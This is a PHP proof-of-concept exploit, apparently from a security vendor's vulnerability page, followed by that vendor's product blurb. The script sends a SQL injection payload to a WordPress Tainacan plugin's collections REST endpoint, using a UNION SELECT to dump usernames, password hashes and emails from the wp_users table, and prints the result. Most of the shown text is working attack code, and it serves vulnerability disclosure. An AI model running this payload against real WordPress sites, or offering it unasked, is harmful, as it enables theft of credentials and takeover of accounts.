$endpoint = $target_url . '/wp-json/tainacan/v2/collections?post_status=';

// SQL injection payload to extract user credentials
// The payload is URL-encoded to avoid issues with spaces and special characters
$sql_payload = "1') UNION SELECT user_login, user_pass, user_email, display_name, ID FROM wp_users-- ";

// Build the full URL with the malicious payload
$request_url = $endpoint . urlencode($sql_payload);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $request_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Atomic-Edge-PoC/1.0',
    'Accept: application/json'
));

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status Code: " . $http_code . "n";
    echo "Response:n";
    // Decode JSON response for better readability
    $decoded = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        print_r($decoded);
    } else {
        echo $response . "n";
    }
}

// Close cURL
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School